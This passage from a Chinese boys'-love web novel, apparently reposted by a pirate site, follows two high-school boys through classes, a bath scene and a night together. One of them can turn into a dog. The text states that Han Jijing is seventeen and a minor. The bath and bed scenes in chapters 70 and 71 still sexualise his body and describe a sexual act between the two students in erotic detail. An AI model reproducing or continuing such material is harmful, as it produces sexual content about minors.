他还没走到教学楼就把自己的那份全都吃完,看着手上给喻修越留的,还想再吃,隐忍了零点零一秒,没忍住还是偷吃了一颗丸子;再隐忍了零点零一秒,那根丸子就全进了他嘴里。 “反正显眼包又不知道我买了丸子。”韩季京灵光一闪,觉得自己怎么这么聪明,转头问:“要不深柜的那根我们也分了吧?” 秦皓璜把邱扬北的那根递过来:“你吃吧,我不太喜欢这玩意。” 既然都这样明确的说了,还有什么理由推辞拒绝?!韩季京接过来,欢快地几口吃完。 秦皓璜说他要回去睡觉,走到教室前门口时,喻修越刚好从走廊另一边走过来。韩季京一个跳跃扑过去揽住他,把奶黄包扔进他怀里:“显眼包!陪我上厕所!” 喻修越准确抓住塑料袋,又举起手上的包子:“我这样去?” “你现在就几口吃掉嘛,”一楼男厕所最近维修,要去只能去二楼的,这段路足够一个人吃三个还没掌心大的小包子了。韩季京把身体重量全压在他身上,不加掩饰地说,“不然我替你吃掉好了。” 喻修越让他咬了第一口,韩季京再凑过去后又不让他咬第二口,在他眼前残忍地一个人吃掉,慢悠悠开口说:“你是不是还偷吃什么了?” 韩季京十分无辜:“没~有~哇~” “我猜猜……”喻修越语气玩味,“烤肠?面筋……哦,我知道了。”他在韩季京心虚的目光下确认道:“…鱼丸好吃吗?” “我早上刚没有了小蛋糕,不可以吃一下丸子吗?”韩季京松开他,手舞足蹈地比划道,“我只是一个人吃了三根而已!一根上面才两颗诶!要怪就怪它被做的太好吃了!这根本不应该啊!” 说话间,鞋底像是踩在了光滑的冰面上,脚下突然一空,视线猛然沉下去,仿佛凭白矮了喻修越一整个头。 韩季京余光看到楼梯上还没干的水渍,身体在本能地向后倾去。 马上就要到达最上面的那层台阶,这时候又不能潇洒地表演后空翻完美落地,似乎即将以一种极其不优雅的姿势滚落下楼,但电光石火之间,身体已经做出了非同寻常的肌肉反应。 韩季京猛地伸手,抓住了身边一切可以抓住的东西。借助这一瞬的支撑,身体在空中微微一滞。紧接着,他迅速调整自己,行云流水间,以一种很帅气的姿势将自己稳在了台阶上。 GOOD!没有颜面全失地滚下去! 空气静悄悄,喻修越怎么不夸我? 他半是得意地抬起头,才发现自己抓到的是什么。 喻修越握着栏杆扶手,单臂撑住两个人的重量,扫了眼他紧紧扯着自己裤腰的手,再偏移一点点就要挨到致命部位。 他语气平静地开口:“还好我裤子紧。” 韩季京:“……” 第70章 中午十一点半下课, 韩季京站滑板上抓着喻修越的挎包肩带遛他回家,吃饭时给妈妈说晚上去显眼包家住,再睡一小时午觉, 下午到学校继续蹉跎岁月。 两点的第一节课永远是数学自习,韩季京每到这时候就想睡觉,哪怕刚起来还是想睡觉, 克制不了索性就不克制,脱下校服外套罩住自己,往桌子上闷头一趴, 想了想, 又从抽屉里摸出磁悬浮陀螺看它转圈。 他枕在左胳膊上单手撑起衣服,陀螺不靠外力停止就会一直转下去,转动时带着摩擦桌面的呼呼风声, 视觉听觉双管齐下,韩季京简直越盯越困、越盯越困、越盯越……盯睡着了。 空气里安静无比,只能听到背后有人写字的沙沙声和书本翻页的声响。 韩季京梦到喻修越说自己看不见东西了,拄着拐杖极其可怜地站在那里, 仿佛暴风雨里的一棵小树苗。韩季京同情心大爆发, 变成小狗充当导盲犬领着他走路,路上带着他撞翻了一条街的小摊, 自己跑得太嗨,回头发现喻修越脸贴在地上被自己拖着走了一路, 浑身狼狈不堪,本就残疾的身躯雪上加霜;于是变成人形给他做饭,勺子递到嘴边的喻修越当没看到,思考到他现在真是个盲人,韩季京只能一口一口喂他, 忙前忙后一整天,然后晚上睡觉前发现他压根就没失明。 他瞬间醒了。 睁开眼睛,觉得呼吸有些憋得慌,看一眼电子手表,才过了不到二十分钟。韩季京把头顶的衣服掀起来一点缝隙流通新鲜空气,几秒后又合上,合上又掀开,反反复复,直到突然间,看向黑板一览无余的视野莫名被红色的条纹衬衫遮挡。 韩季京把缝开得大了点,从里面向外好奇地露出一只红茶色的眼睛,看到数学老师那张发红的大脸蛋子近在咫尺,不知道弯腰看了他这团衣服多久。 他猛地松手把衣服合上装死。 “睡起来了?”红脸的中年男人直起身体,厉声说,“自习课是让你睡觉的吗?今天我上课讲的什么?你看看班级里有人在睡觉吗?作业写完了吗你就睡?!” 韩季京一睁眼就混乱的思绪秒速清醒,大脑重新活跃起来,快速把压在脸下面的作业本抽出来,翻到刚写的那一页,从衣服里面推出去递给他。 “……考试考多少啊,”说到成绩,红脸男停下来,把没翻几页的本子合上,看到作业本主人的大名,“…写完了啊,那你继续睡吧,累的话确实需要好好补充睡眠,衣服拿下来别闷着自己。” 年级主任虽然脾气暴躁,被所带两个AB班级的学生讨厌且深恶痛绝,但拥有两大美德,那就是对数学学得好的学生、以及家里有钱的学生向来不发任何脾气。 但韩季京醒了就再也睡不着了,他在年级主任走后下意识回头往后看,喻修越坐在座位上用手撑着脸,背挺得很直,不知道窗外有什么吸引他目光的东西。 黑色中性笔在食指和中指之间翻出了花,韩季京顿了下,从抽屉里掏出了便利贴,写上几个字,折成纸飞机准确地飞向喻修越的桌面。 喻修越打开纸飞机,白色的草稿纸上面用胖乎乎的小学生字体写了一行字:【你在看什么耶?】,纸条最下面画了一个撒欢跑来的黑白色小狗。 他盯着那只狗看了一会儿,抬头看到韩季京闷头做题的那头黑色卷毛,看起来像是云朵一样柔软,露出的耳畔和脖颈都因为被闷到衣服里红了一大片,喻修越的视线再扫了下被风吹落到窗边的粉白色花瓣,将简笔画撕下来,和之前的那些一起放到文具盒的夹层里。 【在看已经到来的春天啊】他这样回复。 晚上五点半下课,他们班那些人六点零五就已经站在门口空地开始背书,加起来吃饭时间还不到二十分钟,韩季京一向和喻修越一起在学校吃。 吃完晚饭回来,就被班长叫出去打扫卫生,韩季京拿着扫把在小花园里扫扫扫,踩一下落在地上的叶子,再踢一下树享受花瓣雨,最后把花瓣从地上捡起来,将手心的小纸飞机摊开来给和他一起扫地的林晓佳看。 林晓佳赞叹道:“学神好会说话,这句话好有感觉哦。” “因为显眼包是很会写诗词的文艺青年诶!”韩季京无条件夸赞喻修越,又深沉道,“这句话我到现在还没回复,文青病大大大爆发!不能让他看不起我!” “那你回……迎接即将到来的夏天?”林晓佳迟疑地说,“……毕竟天气马上就要升温了呀。” 扫完地回教室放扫帚,准备拿书去外面集合晚读,韩季京不太喜欢这种一站就是四十分钟的无聊活动,但是喻修越还在等他。 晚读秦皓璜一向在教室里躲着不去,见到他进来,脑袋从手机上抬起来,激动地问:“韩点心,怎么回事?有人刚刚来给你送了一盒酸奶!” 每天都会有不认识的人来班里给他投喂,或者放情书或者放一些小零食,韩季京见怪不怪,留名字的就送回去,没名字的就照单全收,反正是自己应得的。 韩季京疑惑他现在怎么这么惊讶:“你怎么这副表情?难道这人送的酸奶有毒?!还是留什么话了,你看到那人长什么样了吗?是谁?几班的?我去回敬回去!” “不是,”秦皓璜及时阻止他又要干坏事的心思,说,“之前来的都是女生,但这次…就早上你打招呼的那个光明正大染发的、长相特别建模脸的大少爷,他在追你吗?!” 对秦皓璜来说,评价别人外貌用建模脸就是最高级别的称赞。 “诶?我还没有开始追他呢。” 韩季京随手把扫帚扔在角落,一个跃步,单手撑住讲台跳起来,再长腿一跨停到自己桌前,抽了张湿巾擦手,看到桌面上不大不小的酸奶盒子,旁边有一大堆彩色的糖果,包装精致,看起来就价格不菲。 隋霖给的?韩季京直接拆开插上吸管,酸奶只吸了三四口就被喝完,他在糖果堆翻了翻,下方还压了一张小纸条,上面是一串数字,被写得弯弯扭扭,看样子应该是隋霖的企鹅账号。 他“wow”一声,双手将纸条高举起来:“芜湖!出金了!白毛心选角色的联系方式!” “啧,天天打趣惯了,我都忘了你和喻儿真不是一对了,”秦皓璜坐在桌子上点点头,“那这样看来现在是大少爷在追你啊,你要答应他吗?” “当然不啊,”韩季京理所应当道,“我一个人谈恋爱的话也太怪了吧?!感觉好不习惯。”他顿了顿,又说,“但是如果哪天显眼包和其他人在一起了……” 思维转了一圈,韩季京不满地皱起脸:“……也好怪啊,怎么哪里都怪怪的?” 从有记忆那一刻起,韩季京第三个记得的人就是喻修越。 幼儿园、小学、初中、高中……睡在一张床上长大,名字总是成对出现,背包是父母买的同款,衣服混在一起翻出来都不知道哪件是谁的,挨得近了呼吸都是同一口空气,十七年生命轨迹里从来没有分开超过半天。 幼儿园午睡总是挤在一张床上,头靠着头,抱在一起时老师也不忍心把他们分开。过了一会儿再回来看,韩季京就和八爪鱼一样紧紧缠着另一个人分不开了。 初一那年喻修越有些看不清黑板上的字,韩季京陪他去眼镜店,看到他戴眼镜就觉得自己脸上也少了什么,于是缠着妈妈也给自己配了一副。从那之后,喻修越每年换新眼镜,都会特意把一副同款但没有度数的平光眼镜送给他。 有时候明明上一秒还在生气,下一秒自然而然又开始和对方说话。如果哪天生活里没有对方的存在,韩季京一瞬间有些想象不到。 就好像他们两个与生俱来就合该拥有彼此。 想不明白就干脆不想,韩季京一个标准的投篮姿势把酸奶盒扔进垃圾桶,挑了一颗橙色纸衣的糖果吃掉,把蓝色的全挑出来揣进兜里,心情重新恢复愉悦。 他从书桌里随便抽出一本书:“先走啦,我去外面和他聊天了!” 秦皓璜嗯嗯两声,蹲在地上用校服盖住自己,继续看抽屉里的手机。 韩季京推开门,一眼就看到喻修越正拿着书站在班级第一排。 四周人声鼎沸,但仔细扫过去,又没有到高三,其他班级里认真背书的人其实也没有几个。韩季京在他旁边站定,修长挺括的身体像一团跳动的阳光:“你背完了吗?” 喻修越扫过他的唇角,语调拉长:“又吃什么了——?” “隋霖给的酸奶?”韩季京舔了下嘴唇,尝到一点乳酸的甜味,随手从口袋里摸了摸,掏出一颗蓝色的糖果说,“他人好好诶,来给我联系方式,还送了我一把糖果,超级甜耶,我分给你一颗!” 糖纸在夕阳的照射下散发着幽蓝的荧光,韩季京将糖果举到左眼前方,闭上那只眼睛。 睁开的那只茶色眸瞳里反射着细碎的光斑,鼻梁下方微微翘起的唇角带着明显的笑意,唇色饱满鲜艳,唇珠明显,混杂些许水润时,透着令人无法阻挡的诱惑。 他“哇”了声:“这颗和你的眼睛颜色一样诶!” 喻修越盯着他伸出手,残忍道:“是吗?那让我吃掉吧。” “糖果会弥补视力吗?”韩季京问,“我数学课做梦,梦到你给我说你看不到东西了!” “这样诅咒我啊?”喻修越接过来,手指灵巧地剥开糖纸,放进嘴里前带了点轻笑,话语拐了个弯, “如果我有一天真看不见……?” “那我绝对会在病房里替你祈祷不要一辈子都是瞎子的……”韩季京想想说,“这样你房间的游戏机全部都被我一个人霸占了耶!…不行,显眼包,你不准看不见!没有你的话,我该怎么玩双人游戏啊?!” 喻修越抬手将糖纸放到他另一只眼睛前,指尖被睫毛扫过带来几丝痒意。 过了几秒,他点点头说:“好吧,那我努力。” 晚自习没老师看,但中途下课也没什么人起身,理科A班这些卷王好像从来没有休息时间:课间十分钟是用来养精蓄锐的,午休是用来刷题的,节假日是用来赶超的…… 秦皓璜直接把凳子搬过来坐他旁边,对着英语阅读题发了会儿呆,突然清了清嗓子说:“点心,我发现一件事。” 韩季京一边低头写题一边回复他:“嗯?” “就是你给老师和你对象说话,尾音都会带那些语气词,怎么和我说话时不带啊?老子难道不是你最好的哥们吗?!” 秦皓璜每节晚自习都要这样说,韩季京从来没发现这点,自然地敷衍他:“哇塞,哥们,我是怎么说话的啊?” “就是这样很可爱的啊,”秦皓璜摆正姿态说,“诶啊耶啊啦啊嘛啊啊啊……” 韩季京哆嗦了一下,推了下鼻梁上的眼镜框,打断他评价说:“哥们,你是不是被什么boss上身了?!这串玩意听起来好奇怪啊!” “哪里奇怪了?!” 秦皓璜顿时又一次心碎碎,低下头继续痛苦地做英语题。 走读生可以在第二节晚自习下课后回家,韩季京没有和往常一样拎起书包就走,在走廊踩在滑板上和邱扬北他们一起吃小零食,等喻修越去二楼自习室给隋霖补完课一起回家。 他们每周补三次,今天刚好是周三。第三节晚自习上课铃打前,转头刚好看到喻修越背着书包从那头走过来。 韩季京飞身扑过去搂住他的肩膀:“显眼包!回家!” 韩季京的手脏兮兮的,在他校服上留下一连串油印。喻修越低下头看了眼,从口袋里抽出一张湿纸巾,像是在洗一只刚从泥潭里滚回来的小狗。 出校门口就有司机接送,九点半下第二节,到喻修越家时还不到十点。 韩季京前一秒还在和他勾肩搭背,下一秒毫无征兆地一进门就大变活狗。衣服在门口散落一地,黑白相间的身体无畏冲锋,大耳朵一跳一跳,撒欢一样飞跃到沙发之上。 奶牛小狗啃一口茶几上切好块的苹果,转身时把茶杯全扫在地上,疑惑地盯着碎玻璃看了几秒,在茶水洼里蹦哒一圈,又回头去咬沙发垫子,在即将把沙发垫成功叼下来之前,猛地被喻修越拎住了命运的后脖颈。 喻修越一手拎着衣服一手拎着他,没什么表情地盯着他看。 小狗呜咽几声,一双红茶色的大眼睛湿漉漉地看着他,大耳朵一动不动,被拎在空中时四肢也没有乱踢,整只狗看起来异常人畜无害,似乎刚刚发神经的一幕是自己的幻觉。 但下一秒喻修越刚放开他,黑白色小狗就围着他疯狂转圈着大叫,叫了几十秒就转身冲去厨房,目标明确地对着厨房案板上的小蛋糕进攻,然后一头砸到了玻璃门上。 似乎是被砸得懵掉,这团毛绒绒恍恍惚惚地站起来,身体一会儿向左一会儿向右,醉酒一样摇摆几秒,然后摆好姿势,又一头砸到了玻璃门上。 声音之大,喻修越一瞬间都替他头疼。 黑白小狗立在那里半秒,调整好心态又回头冲着他大声乱叫一通,像是在寻找外援,喻修越走过去,熟练地用被弄脏的外套把狗裹起来提溜进怀里。 韩季京猛地变回人形,大耳朵乖乖地耷拉下来,委屈地告状:“显眼包!你家的门好坏啊,竟然不让我进?!” 空手道黑带的臂力让喻修越毫不费力地继续抱着他,闻到他身上沾着的红茶气息,语调又懒又慢:“对啊,对啊,门好坏的,你要不去踢一脚?” 踢一脚疼的还是自己。韩季京抬头看着他,脸颊不满地微微鼓起,在脑海中对比了一下:“你现在多高?” 喻修越说:“你猜啊?” “二十岁之前正是长个子的年纪,我在毕业之前肯定还会再长上很多的啊!”韩季京想了想说,“虽然现在我们差不多,但说不定一年后你需要仰视着看我诶!” 喻修越略微啧道:“这听起来好恐怖啊,还是不要了吧。” 他把一米八五的超级巨型犬放进浴缸。没有皮毛与衣服的遮盖,精瘦漂亮的身躯一览无余,喻修越扫了一眼,再出去把外套扔进洗衣机,回来时,看到韩季京盘腿坐在浴缸里又“哇塞”起来。 喻修越打开浴缸的水龙头,用标准的好学生脸认真道:“我一本书都没拿,一会儿去房间打游戏?” 韩季京没有听他说话,只是捧着胸肌比划起来:“怎么更大了诶,十几岁正是长身高的年龄!我竟然长身体长的是这里吗?!” 上周一只手就能包裹,现在只勉强可以包住。他觉得自己仿佛找到了世界真相,震惊道:“我难道其实,不是一只公狗?” 喻修越挽起袖子,捏了捏他的耳朵,视线在他的胸膛停留,颜色偏白的柔软溢出缝隙,跟着“哇塞”了一声:“那其实是什么,是只小母狗吗?” 耳朵是第二敏感的地方,一被碰到就开始发痒,韩季京下意识偏头抖了下耳朵,把他刚刚挽好的袖子扯下来,思考道:“这听起来怎么更奇怪了。” 喻修越从兜里拿出来自己的手机递给他,恍然般掺了点笑意,转移话题说:“不用额外支出买胸垫,也算是好处?” “我查查瑞拉柠有多高,”喻修越手机用指纹就能开锁,划过一整页自己喜欢玩的游戏,韩季京坐在温水里哼唧说,“这个年纪这个身高……等等没事了,你隔壁桌好像也一米八。” 几秒后他举起手机,更加震惊道:“这么萌的名字,身高一米八七,隋霖竟然喜欢巨人吗?!” 隋霖比韩季京低了半个头,也许人家刚好喜欢这种长相漂亮的高个御姐,韩季京看着人物模型认可道:“好独特的品味。” 喻修越看着衣服点点头:“品味是不错。” 韩季京下完单把手机放在一旁的柜子上,一抬头,看到喻修越还站在那里,坏心思泛出来,一个突然袭击,伸手一把将他拽进了浴缸。 “哗啦——” 水花四溅,喻修越猝不及防跌入水中,小腿重重磕到浴缸的壁沿,身上的衣服也变得黏糊糊的。 他摘下眼镜,墨蓝色的瞳孔闪了闪,撑起自己,右手从水下顺着摸过去,一把捏住韩季京的尾巴根。 根部布满敏感神经,韩季京猛地浑身战栗起来,但因为逼近的气息过于信任熟悉,身体没有反射性地应激甩尾抽他,瞳孔受惊缩小,看着他的眼眸都蒙上一层氤氲的水汽。 这副模样比装出来的要可怜一百倍,喻修越捏了一下就收回手:“你怎么这样坏蛋?” 韩季京抖了下耳朵,犬牙在唇间若隐若现,扑过来一口狠狠咬在他的肩上,咬了满嘴湿掉的校服短袖,脸皱成一团,抹了下唇谴责说:“显眼包,你好坏诶!不可以动我的尾巴!” 肩膀被咬得生疼,湿润布料下泛起几丝血色,喻修越不怎么在意地把短袖脱下来。 顿了下,他又摸过去抓住韩季京的尾巴尖,故意学他说话:“但是上小学时,你天天让我摸诶。”魔.蝎`小`说 k.m`o`x`i`e`x`s.c`o`m 70-80 第71章 上小学时, 韩季京就已经可以很好地控制住自己的耳朵和尾巴。 他和其他人不一样,和爸爸妈妈也不一样,他敏锐察觉出这个问题, 下一秒就极其自然的意识到:我就是全世界最独一无二的啊。 妈妈说耳朵不可以在外面露出来,为了以防万一,每天上学都会给他戴上小渔夫帽。但下午接他时帽子总会不翼而飞, 只有一团黑色的小卷毛向她欢快跑来,咧开的嘴角露出两颗小小的犬齿,在阳光下泛着雀跃的光。 喻修越在后面拎着小书包跟着跑过来, 两个人比完谁速度更快后就贴在一起手拉手, 韩季京另一只手被妈妈牵着,跟在爸爸后面学他走路。 分开时喻修越塞给他粉色的奶糖,喻女士打趣说在她们那里亲吻脸颊是表达感谢, 韩季京回忆起自己在教室里捧住他脸狂亲的壮举,仰起脸得意地求夸:“我今天也向显眼包表达感谢了哦!” 那会儿此等狼灭还没有养成如此这般深藏不露的帝王之资。 他会在上课时当堂说老师的不对,再反过来把老师提问得哑口无言,被批评不可以这样干时又熟练地转移话题, 说老师, 点心在找你。 年轻的老师半信半疑地走出办公室,刚从草地上滚回来、沾了一身草屑的韩小点心应声一头冲进他的怀抱。 小坏蛋用脏兮兮的手在老师干净的白衬衫上盖了很多手印, 然后抬起脸,举起绿色的水彩笔, 万分乖巧地眨巴了下眼睛,问:老师,我可不可以在你脸上画小王八呀? 喻修越走出来抬起下巴,拿起黑色油性笔,紧随韩季京开口说:老师, 我想在你脸上画小狗。 打又舍不得打,骂也不舍得骂,他和韩季京的组合连招在小学里一共气哭过六位实习老师,四十年教龄的王牌教师也拿他们毫无任何办法,最后都已经习惯班里有这对活宝。 被洗干净后,韩季京总喜欢把尾巴露出来晒太阳,一晒太阳就想让人摸一摸他。课间在操场的小角落把自己埋进喻修越怀里让他给自己顺毛,喻修越不动就撒泼打滚,总而言之就是要缠着他摸自己的耳朵和尾巴。 所以喻修越说的情况完全属实。 韩季京甩了下尾巴,湿答答的尾巴尖仍然牢牢地被捏在手里,喻修越说的是小学,现在又不是之前,他对此非常不认账。 “我现在不是小学生诶,”他谴责道,“显眼包,你好没有边界感啊!” 喻修越瞬间露出不解的表情:“……怎么一不注意我就到浴缸里了?应该还在外面站着才对。” 他语调缓慢:“到底是谁拉我进来的?韩小点心,你看到是谁这样没有边界……” “我啊!是我啊!”韩季京要什么边界感,他就是一只小狗而已,闻言立刻洋洋得意地认领起自己的功绩。 几句话不到,他就被喻修越成功转移话题,迅速忘记了自己想说的话,视线扫到对方肩膀上很小的一块齿痕,那里被咬出几滴血,又快速结痂。 喻修越面不改色地说:“好疼。” 韩季京只咬到了满嘴的衣服布料,完全没想到自己能把他咬出血。他凑过去闻了闻,张开嘴比划了一下,四颗尖尖的犬牙冰刃般锋利,刚好对标右上角那颗的形状。 “对不起耶,”韩季京虽然完全不怎么愧疚,但还是得安慰一下他,想了想,说:“那我给你摸摸尾巴?” 他在话语落下后直起身体,前一秒堪堪到达胸口的水位线顷刻降到大腿。蒸腾的热气让他偏白的皮肤泛起一层红晕,积出水洼的肩颈线条在水雾中若隐若现。 因为常年跑酷滑滑板,身体处于经常运动的健康状态,水面上的身躯精瘦有力,六块腹肌分明地点缀在那里,两块微微突显的地方在其中显得格外饱满。温热的水流顺着沟壑蜿蜒而下,最终形成水珠挂在紧致的肌肉上,在浴室暖黄的灯光下泛着莹润的光泽。 韩季京塌下腰,把随着动作高高翘起的尾巴塞到他手里。 形状漂亮的胸肌近在眼前,喻修越眨眨眼睛,轻巧地放开手心的尾巴:“我们还是快点洗澡吧?” “不行!我不允许!你不准松手!”韩季京决定好的向来不允许任何人唱反调,湿淋淋的尾巴在喻修越的胳膊上甩来甩去,被重新塞回对方的手里。摇头时黑色的狗耳朵被甩地翻飞而过,“显眼包!你怎么可以这样?!” 水珠从湿漉漉的发梢处呈扇形飞散,韩季京整个人都贴过来,藏着水汽的眼眸在灯光下莫名发亮。喻修越再一次松开他的尾巴,挤压两泵柜子上的洗发露,抬手想要去夹住他乱跳的大耳朵。 顺他者也不会得到什么,但忤逆他想法的会被他撕裂。 尾巴被松开的瞬间韩季京就凝眉而视,不满地盯着他看,随即反应神速地偏头躲过他的手,靠近对方的那只耳朵不自觉地翻折起一个顽劣的弧度,另一只保持着完美的下垂姿态,意思是很明确的不要他摸。 喻修越同样很快地收回手,故意说:“那你自己洗好了。” 这副态度像是一拳打在棉花上,瞳孔放大缩小,韩季京定住身体,把脑袋压得低低的,用圆溜溜的茶色眼眸瞪了喻修越一会儿,耳朵颤动两下,没忍住又凑了过去。 喻修越搓面条一样搓完他的耳朵,把手覆盖在他分量不轻的胸膛上,指尖如同陷进棉花糖云朵,和以往的触感相对比起来,确实更加丰腴了一些。 韩季京对自己身体的每个方面都非常满意,慷慨地挺起腰杆任由他四处捏了捏。 他不是容易留痕的体质,不摸到敏感部位时其他地方也没有多大感觉,只有捏住尾巴根后,才会浑身上下都受不了一点触碰。 喻修越一通乱捏后什么也没在身体上留下,韩季京对比了一下两个人的胸肌大小,被他摸得舒服地点点头,略微炫耀起来:“显眼包~看吧!我这局完胜!” 喻修越没有收回手,略含深意道:“在这方面比过我?那真的太厉害了。” 半小时后,韩季京表演小狗出浴,甩了下尾巴用干毛巾擦干自己,套上衣服后猛地一个发力跳到喻修越身上,环住他的脖颈指挥他把自己拖到卧室:“睡觉!” “不打游戏?”喻修越看着电脑心心念念。 韩季京打了个哈欠,从他身上滑下来,滚进被窝里甩甩耳朵说:“好困啊,显眼包,我们明天再打吧。” 喻修越跟着爬上床,“哦”了声,把桌子上的手机递给他:“隋霖的联系方式加了吗?” 纸条晚读前被韩季京随手塞进校服兜里,但衣服一进门就被他不知道扔到哪里去了,他正想问,就看到喻修越紧接着拿出那张纸条递到他面前。 喻修越锐评道:“从字体的角度来说,‘人才’也称得上是一位大师。” 韩季京观摩了几秒,抬起头纠正道:“这叫有个人风格。” 他对着纸条上的鬼画符字体发送好友申请,盯着手机屏幕,直到看到对方通过他,才把套着毛绒小狗手机壳的手机随便一扔,抬起被子示意喻修越快凑过来一点。 妈妈在家里给他定制了一条一米七的长型小猫抱枕,但喻修越家里什么都没有,之前送的巨型同款抱枕也不知道被放到了哪里……韩季京没有东西抱的话有些睡不着,所以喻修越快过来充当他的抱枕。 喻修越倚在床头没有动,几秒后身侧一沉——韩季京像只八爪鱼似的缠了上来。他先是把腿随意地搭在喻修越身上,脑袋往人腰侧一枕,尾巴不安分地蹭了几下,忽然整个人都安静起来。 没等喻修越问他怎么,韩季京突然一个利落地翻身,直接跨坐在了他的身上。 被子掉到两个人周围,膝盖陷进柔软的床垫,大腿内侧隔着薄薄的睡裤传来温热的触感,韩季京用手按住他的腰腹下方:“显眼包,你这里好烫诶!” 喻修越眼皮都没抬一下,泰然自若地继续打平板游戏:“正常的生理反应。” “但是我抱着难受,睡不着。” 韩季京思考了几秒,反正之前也都一起互帮互助,索性把喻修越的下半件衣服扒下来,调整姿势跪在他身上。 他把——夹在腿间微微收紧,手撑在喻修越的腰腹上,慢动作地用腿侧磨了磨,身后的那条尾巴高速摇摆成模糊的扇形,不禁觉得自己怎么这样聪明:“那我帮你好了。” 标致的大耳朵软塌塌地垂在脸颊,韩季京只穿着一件棕色的宽松睡衣,下摆很宽,将两个人挨在一起的地方完全盖住。 他低着头磨磨蹭蹭,反而被变得更烫的温度弄得浑身难受,一个人在这里努力了半天,反而将进度倒退百分之百。压着眉停下来,抬起眼看到喻修越还在那里玩平板游戏,一把趴过去按下熄屏键。 喻修越那局游戏马上就要获得最终胜利,猛然被打断,神色也没有什么起伏。抬眼看到他水漉的红褐色眸瞳,手顺着腰线一路摸过去,一把捏住他的尾巴根部揉了揉。 韩季京本身就有些脱力,被他突然再次袭击,耳朵受惊炸开,浑身一颤,皮肤的敏感度直线上升,挨在一起的地方也变得不能承受起来,下意识后退,动作间又被磨过,整个人不受控制地软在他身上。 视野得了近视眼一样有些模糊看不清,韩季京一口咬住他的衣服,喉咙里迸出小狗受挫般的呜咽声音。 喻修越把平板放到一边,在他说自己前先发制人:“不陪我玩电脑,又不让我玩平板,现在还乱咬人,你好过分啊韩点心。” “……对不起嘛,”韩季京呜咽完又开始哼唧,“那你也不准玩游戏。” 话说完,他突然反应过来,抬头时耳朵跳了下:“我在帮你诶,你好过分啊显眼包!” “我哪里过分?”喻修越语调不紧不慢,眸瞳荡漾笑意,尾音上扬,“是你要帮我的啊——” 确实是这样没错,韩季京左右找不出来反驳的话语,但仍然不影响他理直气壮道:“那我就是要打扰你玩游戏!” 喻修越点点头:“好吧,那我下次一个人悄悄地玩。” “哇塞,显眼包,这句话最过分了吧!你怎么可以不带上我?!”韩季京思维跟着他一起偏移,手在他腰腹上撑着,直起自己,脑海蹦出下午思考到一半的问题,“说到这个,我下午发现,如果…… 喻修越看着他,墨蓝色的眸瞳眯了下,好像完全知道他即将说出口的是什么一样。 韩季京顿了顿,即将说出的话讲了一个开头又被咽下去,看到他不怎么在意地笑了笑,理所应当道:“你在想什么?我们又不会分开。” 第72章 学校的课表安排分大小周, 一周上六天课一周上五天课,这周刚好是放大周假。 因此,韩季京极其本分地在学校里再熬了两天。 具体表现为在老师提出问题后和秦皓璜一起捧哏说闲话, 自习课时一拍即合拎着完全没垃圾的大垃圾桶满学校乱跑,遇到校领导就装成值日生大摇大摆地从其面前经过。下课再抽时间骚扰一下老师眼里乖巧懂事的年级第一,让未来的人类之星暂时没有办法继续学习深造。 前面的行为被年级主任兼数学老师发现后痛批了一顿, 后面的行为喻修越只一笑而过。唯一的好处就是——秦皓璜也荣幸地升级成为了超级无敌至尊VIP专座的第二员大将,和韩季京并称为老师的左右护法。 这太妙了! 在数学课互相批改卷子的死亡氛围里,邱扬北在和右护法秦皓璜对视上时猛地笑出声, 被大红耗子罚去在后面站一整节课, 他垂头丧气地走到后门口,于是嘎嘎笑的人就变成了秦皓璜,声音没收住, 下一秒也被点名去站到了前门口。 两座门神一前一后对视起来,韩季京简直快被他们俩乐死了,数学老师锐利的目光扫过来,他瞬间川剧变脸装出了好学生认真改题的姿态。 等到终于熬到周五放假, 韩季京和好朋友们告别后欢天喜地踩着滑板回家, 窝在喻修越家里打电脑游戏。 开放世界角色扮演类游戏自由度极高,能动的不能动的, 是人的不是人的,只要有气泡就可以进行互动, 有时候对话还会出现有关于剧情角色的小彩蛋,所以玩家一般没事干的时候都会到处戳一戳。 房间的主人在阳台浇花,韩季京窝在电竞椅上过最新更新的主线,路过熟悉的杂货铺门口,看到了一个之前从没见过的白发猫耳正太, 是版本更新后的新NPC。 首先,此正太是白发,其次,此正太有猫耳朵,最后,此正太建模像极了猫耳白毛男执政官。 这难道是他角色台词里那个未曾谋面的弟弟…?! 韩季京一秒都不耽误地移动角色凑过去,用鼠标点击聊天气泡,紧接着看到正太转过身对他说:“悄悄告诉你哦,过了年纪还和好朋友睡在一起是一件非常错误的事情,所以我八岁就不和好朋友躺在一张床上了!” 界面随即出现:“所以呢”“那你好棒棒哦”“来讲讲你的好朋友吧!”三个选项,韩季京在脑海重现正太说的那句话,盯着选项陷入沉思。 他在身份证上登记的日期比喻修越小三个月,法律规定他今年十七岁,现实层面他正在上高二下学期,结合起来,意思是他还有六个月才能成年。 八岁是未成年,十七岁也是未成年。所以没成年不可以和好朋友睡在一起吗?没成年和好朋友睡在一起多正常,他基本每天晚上都和喻修越睡在一起! 移动鼠标到右上角的设置中心,韩季京无情地将此NPC设置屏蔽不可见,并流利地点进论坛进行角色文本投诉。 而且,最主要的是——他人来都来了,不睡一起,总不能把喻修越赶去睡客房吧?! 韩季京勾选投诉理由,抱着怀里的黑白色卡通小狗玩偶,顿时觉得自己简直太善良了。 左侧的聊天框里冒出六个点,隋霖的角色顶着『白Cat』的昵称走到面前,对着空气伸出手。 过了几秒,他问:【点心 好朋友 你在 老师家吗】 开放世界可以联机,隋霖打字不会加标点符号,韩季京刚加上他好友时觉得分辨他说话特别好玩,可惜的是第二天他就学会了按空格键分段。韩季京喜欢和他一起打游戏。 喻修越因为平板事迹没有被允许上号一起玩,孤单寂寞地浇完花,关上阳台门走进来。他没戴眼镜,锐利狭长的眼眸衬得面容少了一份好学生的味道,单手搭在电竞椅背上往前俯下身。 他眯起眼睛,水墨般的眸子没什么波澜,点两下键盘,替韩季京回复了一句:【对啊。】 韩季京为了彰显自己的宽广胸怀,特意在他之后打字解释:【因为显眼包一个人住很可怜啊!】 隋霖几秒后回复:【嗯 是这样 一个人 很可怜】 喻修越盯了一会儿这句话,低头看了眼认真回消息的韩季京,噙着抹若有似无的笑:“他打字还怪可爱的。” “对啊对啊,就是超级可爱诶!”韩季京只要代入一下游戏里的那个冷脸男执政官就想撒欢转圈,立刻认同道,“我喜欢和隋霖说话!” 喻修越周末要去上培训课,他和隋霖约了周末一起去漫展,假发和衣服已经到货洗干净,才和配饰一起扔到床头等着明天宠幸。 隋霖继续再发了几句话,喻修越看了一会儿,从书柜里掏出两本数学竞赛题坐到他旁边。 